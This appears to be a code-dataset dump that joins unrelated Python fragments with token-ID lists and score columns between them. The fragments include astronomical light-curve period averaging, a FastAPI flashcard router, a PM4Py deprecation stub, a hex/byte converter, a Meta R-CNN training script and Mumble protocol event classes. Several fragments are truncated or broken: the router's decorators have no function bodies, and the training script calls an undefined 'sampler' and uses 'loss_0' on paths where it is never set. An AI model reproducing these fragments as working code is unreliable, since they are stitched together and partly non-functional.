mode = stats.mode(np.round(all_periods,2))
if mode > 11.5:
avg = np.full(np.nanmean(primary), len(inds))
tflags = np.full(2, len(inds))
else:
for i in range(len(inds)):
if np.abs(primary[i]-mode) < limit:
avg = np.append(avg, primary[i])
tflags = np.append(tflags,0)
elif np.abs(secondary[i]-mode) < limit:
avg = np.append(avg, secondary[i])
tflags = np.append(tflags,1)
elif np.abs(primary[i]/2.-mode) < limit:
avg = np.append(avg, primary[i]/2.)
tflags = np.append(tflags,0)
elif np.abs(secondary[i]/2.-mode) < limit:
avg = np.append(avg, secondary[i]/2.)
tflags = np.append(tflags,1)
elif np.abs(primary[i]*2.-mode) < limit:
avg = np.append(avg, primary[i]*2.)
tflags = np.append(tflags,0)
elif np.abs(secondary[i]*2.-mode) < limit:
avg = np.append(avg, secondary[i]*2.)
tflags = np.append(tflags,1)
else:
tflags = np.append(tflags, 2)
except:
for i in range(len(inds)):
if tab['oflag1'].data[inds[i]]==0 and tab['oflag2'].data[inds[i]]==0:
avg = np.append(avg, tab['period_days'].data[inds[i]])
tflags = np.append(tflags, 0)
else:
tflags = np.append(tflags,2)
else:
avg = np.nanmean(primary)
if tab['oflag1'].data[inds] == 0 and tab['oflag2'].data[inds]==0:
tflags = 0
else:
tflags = 2
averaged_periods[inds] = np.nanmean(avg)
flagging[inds] = tflags
tab.add_column(Column(flagging, 'Flags'))
tab.add_column(Column(averaged_periods, 'avg_period_days'))
return tab
def phase_lightcurve(self, table=None, trough=-0.5, peak=0.5, kernel_size=101):
"""
Finds and creates a phase light curve that traces the spots.
Uses only complete rotations and extrapolates outwards until the
entire light curve is covered.
Parameters
----------
table : astropy.table.Table, optional
Used for getting the periods of each light curve. Allows users
to use already created tables. Default = None. Will search for
stella.FindTheSpots.LS_results.
trough : float, optional
Sets the phase value at the minimum. Default = -0.5.
peak : float, optional
Sets the phase value t the maximum. Default = 0.5.
kernel_size : odd float, optional
Sets kernel size for median filter smoothing. Default = 15.
Attributes
----------
phases : np.ndarray
"""
if table is None:
table = self.LS_results
PHASES = np.copy(self.flux)
for i in tqdm(range(len(table)), desc="Mapping phases"):
flag = table['Flags'].data[i]
if flag == 0 or flag == 1:
period = table['avg_period_days'].data[i] * u.day
cadences = int(np.round((period.to(u.min)/2).value))
all_time = self.time[i]
all_flux = self.flux[i]
diff = np.diff(all_time)
gaptime = np.where(diff>=np.nanmedian(diff)+12*np.nanstd(diff))[0][0]
t1, f1 = all_time[:gaptime+1], all_flux[:gaptime+1]
t2, f2 = all_time[gaptime+1:], all_flux[gaptime+1:]
o1map = map_per_orbit(t1, f1, kernel_size=101, cadences=cadences)
o2map = map_per_orbit(t2, f2, kernel_size=101, cadences=cadences)
phase = np.append(o1map, o2map)
else:
phase = np.zeros(len(self.flux[i]))
PHASES[i] = phase
self.phases = PHASES
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] | 1.788563 | 7,572 |
from typing import List
from fastapi import APIRouter, Depends, HTTPException, status
from app import schemas, models
from app.services.jwt import get_current_user
router = APIRouter(
prefix="/flashcard",
tags=["flashcard"]
)
# Create new flashcard
@router.post("/", response_model=schemas.Flashcard)
# List all flashcards
@router.get("/", response_model=List[schemas.Flashcard])
# Get flashcards of specific category
@router.get("/{category}", response_model=List[schemas.Flashcard])
# Get flashcard by ID
@router.get("/id/{flashcard_id}", response_model=schemas.Flashcard)
# Update flashcard by ID
@router.put("/id/{flashcard_id}", response_model=schemas.Flashcard)
# Bulk change category name
@router.put("/{category}", response_model=schemas.RenameFlashcardCategory)
# Delete flashcard by ID
@router.delete("/id/{flashcard_id}", response_model=int)
# Delete flashcard by category
@router.delete("/{category}", response_model=int) | [
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] | 2.915408 | 331 |
'''
This file is part of PM4Py (More Info: https://pm4py.fit.fraunhofer.de).
PM4Py is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
PM4Py is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with PM4Py. If not, see <https://www.gnu.org/licenses/>.
'''
import warnings
from enum import Enum
import deprecation
from pm4py.evaluation.wf_net.variants import petri_net
from pm4py.util import exec_utils
@deprecation.deprecated(deprecated_in='2.2.2', removed_in='3.0.0',
details='this wf-net check is moved to the pm4py.algo.analysis package')
| [
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15,
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9114,
19,
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13,
282,
2188,
13,
20930,
5301,
11537,
198
] | 3.002907 | 344 |
from __future__ import annotations
import os
from datetime import datetime
import coolname # type: ignore
from dotenv import load_dotenv
load_dotenv()
def setup_rundir():
"""
Create a working directory with a randomly generated run name.
"""
date = datetime.now().strftime("%Y%m%d-%H%M")
name = coolname.generate_slug(2) # type: ignore
os.environ['RUN_NAME'] = f'{date}-{name}'
results_root = f'{os.getenv("RESULTS_DIR")}/{os.getenv("WANDB_PROJECT")}'
if os.getenv('RUN_MODE', '').lower() == 'debug':
run_dir = f'{results_root}/_debug/{os.getenv("RUN_NAME")}'
os.environ['WANDB_MODE'] = 'disabled'
else:
run_dir = f'{results_root}/{os.getenv("RUN_NAME")}'
os.makedirs(run_dir, exist_ok=True)
os.environ['RUN_DIR'] = run_dir
| [
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] | 2.315029 | 346 |
"""Module for the string helper functions and primitive data types."""
from __future__ import annotations
import ast
import typing
import apm
# WPS600 - inheritance from the str is the only way to implement correct
# error message with all str functionality
class ErrorMessage(str): # noqa: WPS600
"""Implementation of the error message.
Note
----
By default, error messages in the exceptions don't support line breaks
or any formatting, this decorator is solving that problem.
References
----------
1. `New line on error message in KeyError - Python 3.3 <https://stackoverflow.com/questions/
46892261/new-line-on-error-message-in-keyerror-python-3-3>`_
"""
def __repr__(self) -> str:
r"""Get object representation.
Examples
--------
>>> msg = ErrorMessage("\nInvalid argument: 'db'.\nExpected arguments: ['db2', 'port'].")
>>> repr(msg)
\nInvalid argument: 'db'.\nExpected arguments: ['db2', 'port'].
>>> raise ValueError(msg)
Traceback (most recent call last):
...
ValueError:
Invalid argument: 'db'.
Expected arguments: ['db2', 'port'].
"""
return self.__str__()
def parse(value: str) -> typing.Optional[typing.Any]:
"""Parse a string value to the appropriate Python object.
Note
----
If a value is a sequence ``list | tuple | set`` then ``parse`` function will be applied
to each element of a sequence.
Warnings
--------
- Currently ``parse`` function supports only primitive data types ``int | str | float``
and sequences ``list | tuple | set``. Sequences such as ``dict`` will be returned as they are
without parsing their inner values.
- If a value can't be parsed it will be returned as it is.
Examples
--------
>>> parse("1.2")
1.2
>>> parse("(1, 2, '3')")
(1, 2, 3)
>>> parse("['85', '0.23', 'cleffa', ['10', ['0.123'], 'blipbug']]")
[85, 0.23, 'cleffa', [10, [0.123], 'blipbug']]
"""
try:
literal = ast.literal_eval(value)
except ValueError:
original_type = type(value)
return (
apm.case(value)
.of(apm.InstanceOf(list, set, tuple), lambda _: original_type(map(parse, value)))
.otherwise(lambda _: value)
)
except SyntaxError:
return value
original_type = type(literal)
return (
apm.case(literal)
.of(apm.InstanceOf(float), lambda _: int(literal) if literal.is_integer() else literal)
.of(apm.InstanceOf(list, set, tuple), lambda _: original_type(map(parse, literal)))
.otherwise(lambda _: literal)
)
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4808,
25,
18875,
8,
198,
220,
220,
220,
1267,
198
] | 2.59348 | 1,043 |
"""
HexByteConversion
Convert a byte string to it's hex representation for output or visa versa.
ByteToHex converts byte string "\xFF\xFE\x00\x01" to the string "FF FE 00 01"
HexToByte converts string "FF FE 00 01" to the byte string "\xFF\xFE\x00\x01"
"""
#-------------------------------------------------------------------------------
def ByteToHex( byteStr ):
"""
Convert a byte string to it's hex string representation e.g. for output.
"""
# Uses list comprehension which is a fractionally faster implementation than
# the alternative, more readable, implementation below
#
# hex = []
# for aChar in byteStr:
# hex.append( "%02X " % ord( aChar ) )
#
# return ''.join( hex ).strip()
return ''.join( [ "%02X " % ord( x ) for x in byteStr ] ).strip()
#-------------------------------------------------------------------------------
def HexToByte( hexStr ):
"""
Convert a string hex byte values into a byte string. The Hex Byte values may
or may not be space separated.
"""
# The list comprehension implementation is fractionally slower in this case
#
# hexStr = ''.join( hexStr.split(" ") )
# return ''.join( ["%c" % chr( int ( hexStr[i:i+2],16 ) ) \
# for i in range(0, len( hexStr ), 2) ] )
bytes = []
hexStr = ''.join( hexStr.split(" ") )
for i in range(0, len(hexStr), 2):
bytes.append( chr( int (hexStr[i:i+2], 16 ) ) )
return ''.join( bytes )
#-------------------------------------------------------------------------------
# test data - different formats but equivalent data
__hexStr1 = "FFFFFF5F8121070C0000FFFFFFFF5F8129010B"
__hexStr2 = "FF FF FF 5F 81 21 07 0C 00 00 FF FF FF FF 5F 81 29 01 0B"
__byteStr = "\xFF\xFF\xFF\x5F\x81\x21\x07\x0C\x00\x00\xFF\xFF\xFF\xFF\x5F\x81\x29\x01\x0B"
if __name__ == "__main__":
print "\nHex To Byte and Byte To Hex Conversion"
print "Test 1 - ByteToHex - Passed: ", ByteToHex( __byteStr ) == __hexStr2
print "Test 2 - HexToByte - Passed: ", HexToByte( __hexStr1 ) == __byteStr
print "Test 3 - HexToByte - Passed: ", HexToByte( __hexStr2 ) == __byteStr
# turn a non-space separated hex string into a space separated hex string!
print "Test 4 - Combined - Passed: ", \
ByteToHex( HexToByte( __hexStr1 ) ) == __hexStr2
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] | 2.67893 | 897 |
# --------------------------------------------------------
# Pytorch Meta R-CNN
# Written by Anny Xu, Xiaopeng Yan, based on the code from Jianwei Yang
# --------------------------------------------------------
import _init_paths
import os
import sys
import numpy as np
import argparse
import pprint
import pdb
import time
import collections
import torch
import torch.nn as nn
import torch.optim as optim
import random
from tensorboardX import SummaryWriter
import torchvision.transforms as transforms
from torch.utils.data.sampler import Sampler
from torch.autograd import Variable
import torch.utils.data as Data
from roi_data_layer.roidb import combined_roidb, rank_roidb_ratio, filter_class_roidb
from roi_data_layer.roibatchLoader import roibatchLoader
from model.utils.config import cfg, cfg_from_file, cfg_from_list, get_output_dir
from model.utils.net_utils import weights_normal_init, save_net, load_net, \
adjust_learning_rate, save_checkpoint, clip_gradient
from model.faster_rcnn.resnet import resnet
import pickle
from datasets.metadata import MetaDataset
from collections import OrderedDict
def parse_args():
"""
Parse input arguments
"""
parser = argparse.ArgumentParser(description='Train Meta R-CNN network')
# Define training data and Model
parser.add_argument('--dataset', dest='dataset',
help='training dataset:coco2017,coco,pascal_07_12',
default='pascal_voc_0712', type=str)
parser.add_argument('--net', dest='net',
help='metarcnn',
default='metarcnn', type=str)
# Define display and save dir
parser.add_argument('--start_epoch', dest='start_epoch',
help='starting epoch',
default=1, type=int)
parser.add_argument('--epochs', dest='max_epochs',
help='number of epochs to train',
default=21, type=int)
parser.add_argument('--disp_interval', dest='disp_interval',
help='number of iterations to display',
default=100, type=int)
parser.add_argument('--checkpoint_interval', dest='checkpoint_interval',
help='number of iterations to display',
default=10000, type=int)
parser.add_argument('--save_dir', dest='save_dir',
help='directory to save models', default="./models",
type=str)
# Define training parameters
parser.add_argument('--nw', dest='num_workers',
help='number of worker to load data',
default=0, type=int)
parser.add_argument('--cuda', dest='cuda', default=True, type=bool,
help='whether use CUDA')
parser.add_argument('--bs', dest='batch_size',
help='batch_size',
default=1, type=int)
parser.add_argument('--cag', dest='class_agnostic', default=False, type=bool,
help='whether perform class_agnostic bbox regression')
# Define meta parameters
parser.add_argument('--meta_train', dest='meta_train', default=False, type=bool,
help='whether perform meta training')
parser.add_argument('--meta_loss', dest='meta_loss', default=False, type=bool,
help='whether perform adding meta loss')
parser.add_argument('--transductive', dest='transductive', default=True, type=bool,
help='whether perform transductive')
parser.add_argument('--visualization', dest='visualization', default=False, type=bool,
help='whether perform visualization')
parser.add_argument('--phase', dest='phase',
help='the phase of training process',
default=1, type=int)
parser.add_argument('--shots', dest='shots',
help='the number meta input of PRN network',
default=1, type=int)
parser.add_argument('--meta_type', dest='meta_type', default=1, type=int,
help='choose which sets of metaclass')
# config optimization
parser.add_argument('--o', dest='optimizer',
help='training optimizer',
default="sgd", type=str)
parser.add_argument('--lr', dest='lr',
help='starting learning rate',
default=0.001, type=float)
parser.add_argument('--lr_decay_step', dest='lr_decay_step',
help='step to do learning rate decay, unit is epoch',
default=4, type=int)
parser.add_argument('--lr_decay_gamma', dest='lr_decay_gamma',
help='learning rate decay ratio',
default=0.1, type=float)
# set training session
parser.add_argument('--s', dest='session',
help='training session',
default=1, type=int)
# resume trained model
parser.add_argument('--r', dest='resume',
help='resume checkpoint or not',
default=False, type=bool)
parser.add_argument('--checksession', dest='checksession',
help='checksession to load model',
default=1, type=int)
parser.add_argument('--checkepoch', dest='checkepoch',
help='checkepoch to load model',
default=10, type=int)
parser.add_argument('--checkpoint', dest='checkpoint',
help='checkpoint to load model',
default=21985, type=int)
# log and diaplay
parser.add_argument('--use_tfboard', dest='use_tfboard',
help='whether use tensorflow tensorboard',
default=True, type=bool)
parser.add_argument('--log_dir', dest='log_dir',
help='directory to save logs', default='logs',
type=str)
args = parser.parse_args()
return args
if __name__ == '__main__':
args = parse_args()
print('Called with args:')
print(args)
if args.use_tfboard:
writer = SummaryWriter(args.log_dir)
if args.dataset == "coco2017":
args.imdb_name = "coco_2017_train"
args.imdbval_name = "coco_2017_val"
args.set_cfgs = ['ANCHOR_SCALES', '[2, 4, 8, 16, 32]', 'ANCHOR_RATIOS', '[0.5,1,2]', 'MAX_NUM_GT_BOXES', '50']
elif args.dataset == "coco":
args.imdb_name = "coco_2014_train+coco_2014_valminusminival"
args.imdbval_name = "coco_2014_minival"
args.set_cfgs = ['ANCHOR_SCALES', '[2, 4, 8, 16, 32]', 'ANCHOR_RATIOS', '[0.5,1,2]', 'MAX_NUM_GT_BOXES', '50']
elif args.dataset == "pascal_voc_0712":
if args.phase == 1: # three types of base and novel classes splits
if args.meta_type == 1:
args.imdb_name = "voc_2007_train_first_split+voc_2012_train_first_split"
elif args.meta_type == 2:
args.imdb_name = "voc_2007_train_second_split+voc_2012_train_second_split"
elif args.meta_type == 3:
args.imdb_name = "voc_2007_train_third_split+voc_2012_train_third_split"
else:
args.imdb_name = "voc_2007_shots" # the default sampled shots saved path of meta classes in the first phase
args.imdbval_name = "voc_2007_test"
args.set_cfgs = ['ANCHOR_SCALES', '[8, 16, 32]', 'ANCHOR_RATIOS', '[0.5,1,2]', 'MAX_NUM_GT_BOXES', '20']
# the number of sets of metaclass
cfg.TRAIN.META_TYPE = args.meta_type
cfg.USE_GPU_NMS = args.cuda
if args.cuda:
cfg.CUDA = True
args.cfg_file = "cfgs/res101_ms.yml"
if args.cfg_file is not None:
cfg_from_file(args.cfg_file)
if args.set_cfgs is not None:
cfg_from_list(args.set_cfgs)
print('Using config:')
pprint.pprint(cfg)
np.random.seed(cfg.RNG_SEED)
#torch.manual_seed(cfg.RNG_SEED) # 为CPU设置随机种子
#torch.cuda.manual_seed(cfg.RNG_SEED) # 为当前GPU设置随机种子
if torch.cuda.is_available() and not args.cuda:
print("WARNING: You have a CUDA device, so you should probably run with --cuda")
if args.phase == 1:
# First phase only use the base classes
shots = 200
if args.meta_type == 1: # use the first sets of base classes
metaclass = cfg.TRAIN.BASECLASSES_FIRST
if args.meta_type == 2: # use the second sets of base classes
metaclass = cfg.TRAIN.BASECLASSES_SECOND
if args.meta_type == 3: # use the third sets of base classes
metaclass = cfg.TRAIN.BASECLASSES_THIRD
else:
# Second phase only use fewshot number of base and novel classes
shots = args.shots
if args.meta_type == 1: # use the first sets of all classes
metaclass = cfg.TRAIN.ALLCLASSES_FIRST
if args.meta_type == 2: # use the second sets of all classes
metaclass = cfg.TRAIN.ALLCLASSES_SECOND
if args.meta_type == 3: # use the third sets of all classes
metaclass = cfg.TRAIN.ALLCLASSES_THIRD
num_ways = len(metaclass)
# prepare meta sets for meta training
if args.meta_train:
# construct the input dataset of PRN network
img_size = 224
if args.phase == 1:
img_set = [('2007', 'trainval'), ('2012', 'trainval')]
else:
img_set = [('2007', 'trainval')]
metadataset = MetaDataset('data/VOCdevkit',
img_set, metaclass, img_size, shots=shots, shuffle=True,phase = args.phase)
# print(metadataset)
metaloader = torch.utils.data.DataLoader(metadataset, batch_size=1, shuffle=False, num_workers=0,
pin_memory=True)
# print(metadataset)
imdb, roidb, ratio_list, ratio_index = combined_roidb(args.imdb_name)
# filter roidb for the second phase
if args.phase == 2:
roidb = filter_class_roidb(roidb, args.shots, imdb)
ratio_list, ratio_index = rank_roidb_ratio(roidb)
imdb.set_roidb(roidb)
train_size = len(roidb)
print('{:d} roidb entries'.format(len(roidb)))
sys.stdout.flush()
output_dir = args.save_dir
if not os.path.exists(output_dir):
os.makedirs(output_dir)
sampler_batch = sampler(train_size, args.batch_size)
dataset = roibatchLoader(roidb, ratio_list, ratio_index, args.batch_size, imdb.num_classes, training=True)
dataloader = torch.utils.data.DataLoader(dataset, batch_size=args.batch_size,
sampler=sampler_batch, num_workers=args.num_workers, pin_memory=False)
# initilize the network here
if args.net == 'metarcnn':
fasterRCNN = resnet(imdb.classes, num_ways, 101, pretrained=True, class_agnostic=args.class_agnostic,
meta_train=args.meta_train, meta_loss=args.meta_loss, transductive=args.transductive, visualization=args.visualization)
fasterRCNN.create_architecture()
# initilize the optimizer here
lr = cfg.TRAIN.LEARNING_RATE
lr = args.lr
params = []
for key, value in dict(fasterRCNN.named_parameters()).items():
if value.requires_grad:
if 'bias' in key:
params += [{'params': [value], 'lr': lr * (cfg.TRAIN.DOUBLE_BIAS + 1), \
'weight_decay': cfg.TRAIN.BIAS_DECAY and cfg.TRAIN.WEIGHT_DECAY or 0}]
else:
params += [{'params': [value], 'lr': lr, 'weight_decay': cfg.TRAIN.WEIGHT_DECAY}]
if args.optimizer == "adam":
lr = lr * 0.1
optimizer = torch.optim.Adam(params)
elif args.optimizer == "sgd":
optimizer = torch.optim.SGD(params, momentum=cfg.TRAIN.MOMENTUM)
if args.cuda:
fasterRCNN.cuda()
if args.resume:
load_name = os.path.join(output_dir,
'{}_metarcnn_{}_{}_{}.pth'.format(args.dataset, args.checksession,
args.checkepoch, args.checkpoint))
print("loading checkpoint %s" % (load_name))
checkpoint = torch.load(load_name)
args.session = checkpoint['session']
args.start_epoch = checkpoint['epoch']
# the number of classes in second phase is different from first phase
if args.phase == 2:
new_state_dict = OrderedDict()
# initilize params of RCNN_cls_score and RCNN_bbox_pred for second phase
RCNN_cls_score_n = nn.Linear(2048, imdb.num_classes)
RCNN_bbox_pred = nn.Linear(2048, 4 * imdb.num_classes)
for k, v in checkpoint['model'].items():
name = k
new_state_dict[name] = v
if 'RCNN_cls_score_n.weight' in k:
new_state_dict[name] = RCNN_cls_score_n.weight
if 'RCNN_cls_score_n.bias' in k:
new_state_dict[name] = RCNN_cls_score_n.bias
if 'RCNN_bbox_pred.weight' in k:
new_state_dict[name] = RCNN_bbox_pred.weight
if 'RCNN_bbox_pred.bias' in k:
new_state_dict[name] = RCNN_bbox_pred.bias
fasterRCNN.load_state_dict(new_state_dict)
elif args.phase == 1:
fasterRCNN.load_state_dict(checkpoint['model'])
optimizer.load_state_dict(checkpoint['optimizer'])
lr = optimizer.param_groups[0]['lr']
if 'pooling_mode' in checkpoint.keys():
cfg.POOLING_MODE = checkpoint['pooling_mode']
print("loaded checkpoint %s" % (load_name))
iters_per_epoch = int(train_size / args.batch_size)
for epoch in range(args.start_epoch, args.max_epochs):
fasterRCNN.train()
loss_temp = 0
start = time.time()
if epoch % (args.lr_decay_step + 1) == 0:
adjust_learning_rate(optimizer, args.lr_decay_gamma)
lr *= args.lr_decay_gamma
data_iter = iter(dataloader)
meta_iter = iter(metaloader)
for step in range(iters_per_epoch):
try:
data = next(data_iter)
except:
data_iter = iter(dataloader)
data = next(data_iter)
# print(data)
im_data_list = []
im_info_list = []
gt_boxes_list = []
num_boxes_list = []
# initilize the tensor holder here.
im_data = torch.FloatTensor(1)
im_info = torch.FloatTensor(1)
num_boxes = torch.LongTensor(1)
gt_boxes = torch.FloatTensor(1)
# ship to cuda
if args.cuda:
im_data = im_data.cuda()
im_info = im_info.cuda()
num_boxes = num_boxes.cuda()
gt_boxes = gt_boxes.cuda()
# make variable
im_data = Variable(im_data)
im_info = Variable(im_info)
num_boxes = Variable(num_boxes)
gt_boxes = Variable(gt_boxes)
if args.meta_train:
# get prn network input data
try:
prndata,prncls = next(meta_iter)
except:
meta_iter = iter(metaloader)
prndata, prncls = next(meta_iter)
#prn_cls = []
#for i in range(len(prncls)):
# prncls_num = prncls[i]
# length = prncls_num.size() - 1
# for prncls_num in enumerate(prncls_num.split(length,0)):
# prn_cls.append(prncls_num[1])
im_data_list.append(Variable(torch.cat(prndata,dim=0).cuda()))
im_info_list.append(prncls)
im_data.data.resize_(data[0].size()).copy_(data[0])
im_info.data.resize_(data[1].size()).copy_(data[1])
gt_boxes.data.resize_(data[2].size()).copy_(data[2])
num_boxes.data.resize_(data[3].size()).copy_(data[3])
im_data_list.append(im_data)
im_info_list.append(im_info)
gt_boxes_list.append(gt_boxes)
num_boxes_list.append(num_boxes)
# print(im_data_list)
# print(im_info_list)
else:
im_data.data.resize_(data[0].size()).copy_(data[0])
im_info.data.resize_(data[1].size()).copy_(data[1])
gt_boxes.data.resize_(data[2].size()).copy_(data[2])
num_boxes.data.resize_(data[3].size()).copy_(data[3])
im_data_list.append(im_data)
im_info_list.append(im_info)
gt_boxes_list.append(gt_boxes)
num_boxes_list.append(num_boxes)
# print(im_data_list)
fasterRCNN.zero_grad()
rois, rpn_loss_cls, rpn_loss_box, \
RCNN_loss_cls, RCNN_loss_bbox, \
rois_label, cls_prob, bbox_pred, meta_loss, simloss, dis_simloss = fasterRCNN(im_data_list, im_info_list, gt_boxes_list,
num_boxes_list)
# print(rpn_loss_cls)
if args.meta_train:
#loss = rpn_loss_cls.mean() + rpn_loss_box.mean() + RCNN_loss_cls.mean() + sum(
#RCNN_loss_bbox) / args.batch_size + meta_loss / len(metaclass) + simloss + dis_simloss
loss = rpn_loss_cls.mean() + rpn_loss_box.mean() + sum(RCNN_loss_bbox) / args.batch_size + meta_loss / len(metaclass)
loss_0 = RCNN_loss_cls.mean() + simloss + dis_simloss
else:
loss = rpn_loss_cls.mean() + rpn_loss_box.mean() \
+ RCNN_loss_cls.mean() + RCNN_loss_bbox.mean()
loss_temp += loss.data[0]
# backward
optimizer.zero_grad()
loss.backward(retain_graph=True)
loss_0.backward()
# if args.net == "vgg16" or "res101":
# clip_gradient(fasterRCNN, 10.)
optimizer.step()
torch.cuda.empty_cache()
if step % args.disp_interval == 0:
end = time.time()
if step > 0:
loss_temp /= args.disp_interval # loss_temp is aver loss
loss_rpn_cls = rpn_loss_cls.data[0]
loss_rpn_box = rpn_loss_box.data[0]
if not args.meta_train:
loss_rcnn_cls = RCNN_loss_cls.data[0]
loss_rcnn_box = RCNN_loss_bbox.data[0]
else:
loss_rcnn_cls = RCNN_loss_cls.mean()
loss_rcnn_box = sum(RCNN_loss_bbox) / args.batch_size
loss_metarcnn = meta_loss / len(metaclass)
simloss = simloss
dis_simloss = dis_simloss
fg_cnt = torch.sum(rois_label.data.ne(0))
bg_cnt = rois_label.data.numel() - fg_cnt
print("[session %d][epoch %2d][iter %4d] loss: %.4f, lr: %.2e" \
% (args.session, epoch, step, loss_temp, lr))
print("\t\t\tfg/bg=(%d/%d), time cost: %f" % (fg_cnt, bg_cnt, end - start))
if args.meta_train:
print("\t\t\trpn_cls: %.4f, rpn_box: %.4f, rcnn_cls: %.4f, rcnn_box %.4f, meta_loss %.4f, simloss: %.4f, dis_simloss %.4f" \
% (loss_rpn_cls, loss_rpn_box, loss_rcnn_cls, loss_rcnn_box, loss_metarcnn, simloss, dis_simloss ))
else:
print("\t\t\trpn_cls: %.4f, rpn_box: %.4f, rcnn_cls: %.4f, rcnn_box %.4f" \
% (loss_rpn_cls, loss_rpn_box, loss_rcnn_cls, loss_rcnn_box))
sys.stdout.flush()
if args.use_tfboard:
info = {
'loss': loss_temp,
'loss_rpn_cls': loss_rpn_cls,
'loss_rpn_box': loss_rpn_box,
'loss_rcnn_cls': loss_rcnn_cls,
'loss_rcnn_box': loss_rcnn_box
}
niter = (epoch - 1) * iters_per_epoch + step
for tag, value in info.items():
writer.add_scalar(tag, value, niter)
loss_temp = 0
start = time.time()
if args.meta_train:
save_name = os.path.join(output_dir,
'{}_{}_{}_{}_{}.pth'.format(str(args.dataset), str(args.net), shots, epoch,
step))
else:
save_name = os.path.join(output_dir, '{}_{}_{}_{}.pth'.format(str(args.dataset), str(args.net),
epoch, step))
save_checkpoint({
'session': args.session,
'epoch': epoch + 1,
'model': fasterRCNN.state_dict(),
'optimizer': optimizer.state_dict(),
'pooling_mode': cfg.POOLING_MODE,
'class_agnostic': args.class_agnostic,
}, save_name)
print('save model: {}'.format(save_name))
end = time.time()
print(end - start)
if args.meta_train: # to extract the mean classes attentions of shots for testing
class_attentions = collections.defaultdict(list)
class_attentions_t = collections.defaultdict(list)
meta_iter = iter(metaloader)
for i in range(shots):
prndata, prncls = next(meta_iter)
im_data_list = []
im_info_list = []
gt_boxes_list = []
num_boxes_list = []
im_data = torch.FloatTensor(1)
if args.cuda:
im_data = im_data.cuda()
im_data = Variable(im_data, volatile=True)
im_data.data.resize_(prndata.squeeze(0).size()).copy_(prndata.squeeze(0))
im_data_list.append(im_data)
attentions, attentions_t = fasterRCNN(im_data_list, im_info_list, gt_boxes_list, num_boxes_list,
average_shot=True)
for idx, cls in enumerate(prncls):
class_attentions[int(cls)].append(attentions[idx])
class_attentions_t[int(cls)].append(attentions_t[idx])
# calculate mean attention vectors of every class
mean_class_attentions = {k: sum(v) / len(v) for k, v in class_attentions.items()}
mean_class_attentions_t = {k: sum(v) / len(v) for k, v in class_attentions_t.items()}
save_path = 'attentions'
if not os.path.exists(save_path):
os.mkdir(save_path)
with open(os.path.join(save_path, str(args.phase) + '_shots_' + str(args.shots) + '_mean_class_attentions.pkl'), 'wb') as f:
pickle.dump(mean_class_attentions, f, pickle.HIGHEST_PROTOCOL)
print('save ' + str(args.shots) + ' mean classes attentions done!')
with open(os.path.join(save_path, str(args.phase) + '_shots_' + str(args.shots) + '_mean_class_attentions_t.pkl'), 'wb') as t:
pickle.dump(mean_class_attentions_t, t, pickle.HIGHEST_PROTOCOL)
print('save ' + str(args.shots) + ' mean classes attentions_t done!')
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220,
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220,
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18982,
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36835,
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220,
220,
220,
220,
220,
220,
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220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
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] | 1.924292 | 12,152 |
import scripts.gui_elements
import scripts.tools
from scripts.Colors import Color
from scripts.variables.localvars import *
from systems.BaseSystem import BaseSystem
from scripts import highlights
# HELPER FUNCTIONS #
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] | 3.79661 | 59 |
# coding=utf-8
"""
Events specific to Mumble-based protocols
"""
__author__ = 'Gareth Coles'
from system.events.base import BaseEvent
class MumbleEvent(BaseEvent):
"""
A Mumble event. This will only be thrown from the Mumble protocol.
If an event subclasses this, chances are it's a Mumble event.
"""
class Reject(MumbleEvent):
"""
A reject - Sent when we aren't able to connect to a server
"""
type = ""
reason = ""
def __init__(self, caller, typ, reason):
"""
Initialise the event object.
"""
self.type = typ
self.reason = reason
super(Reject, self).__init__(caller)
class CodecVersion(MumbleEvent):
"""
Codec version message
"""
# TODO: Update this docstring when we know what this is for
alpha = ""
beta = ""
prefer_alpha = False
opus = ""
def __init__(self, caller, alpha, beta, prefer_alpha, opus):
"""
Initialise the event object.
"""
self.alpha = alpha
self.beta = beta
self.prefer_alpha = prefer_alpha
self.opus = opus
super(CodecVersion, self).__init__(caller)
class CryptoSetup(MumbleEvent):
"""
Crypto setup message
"""
# TODO: Update this docstring when we know what this is for
key = ""
client_nonce = ""
server_nonce = ""
def __init__(self, caller, key, client_n, server_n):
"""
Initialise the event object.
"""
self.key = key
self.client_nonce = client_n
self.server_nonce = server_n
super(CryptoSetup, self).__init__(caller)
class PermissionsQuery(MumbleEvent):
"""
Permissions query - Sent when.. we query permissions?
"""
# TODO: Update this docstring when we know what this is for
channel = None
permissions = ""
flush = ""
def __init__(self, caller, channel, permissions, flush):
"""
Initialise the event object.
"""
self.channel = channel
self.permissions = permissions
self.flush = flush
super(PermissionsQuery, self).__init__(caller)
class ServerSync(MumbleEvent):
"""
Server sync message - Sent when we connect to the server
"""
session = ""
max_bandwidth = ""
permissions = ""
welcome_text = ""
def __init__(self, caller, session, max_bandwidth, welcome_text,
permissions):
"""
Initialise the event object.
"""
self.session = session
self.max_bandwidth = max_bandwidth
self.welcome_text = welcome_text
self.permissions = permissions
super(ServerSync, self).__init__(caller)
class ServerConfig(MumbleEvent):
"""
Server config message
"""
# TODO: Update this docstring when we know what this is for
max_bandwidth = ""
welcome_text = ""
allow_html = True
message_length = 0
image_message_length = 0
def __init__(self, caller, max_bandwidth, welcome_text, allow_html,
message_length, image_message_length):
"""
Initialise the event object.
"""
self.max_bandwidth = max_bandwidth
self.welcome_text = welcome_text
self.allow_html = allow_html
self.message_length = message_length
self.image_message_length = image_message_length
super(ServerConfig, self).__init__(caller)
class Ping(MumbleEvent):
"""
A ping, I guess
"""
timestamp = ""
good = 0
late = 0
lost = 0
resync = 0
tcp = 0
udp = 0
tcp_avg = 0
udp_avg = 0
tcp_var = 0
udp_var = 0
def __init__(self, caller, timestamp, good, late, lost, resync, tcp, udp,
tcp_avg, udp_avg, tcp_var, udp_var):
"""
Initialise the event object.
"""
self.timestamp = timestamp
self.good = good
self.late = late
self.lost = lost
self.resync = resync
self.tcp = tcp
self.udp = udp
self.tcp_avg = tcp_avg
self.udp_avg = udp_avg
self.tcp_var = tcp_var
self.udp_var = udp_var
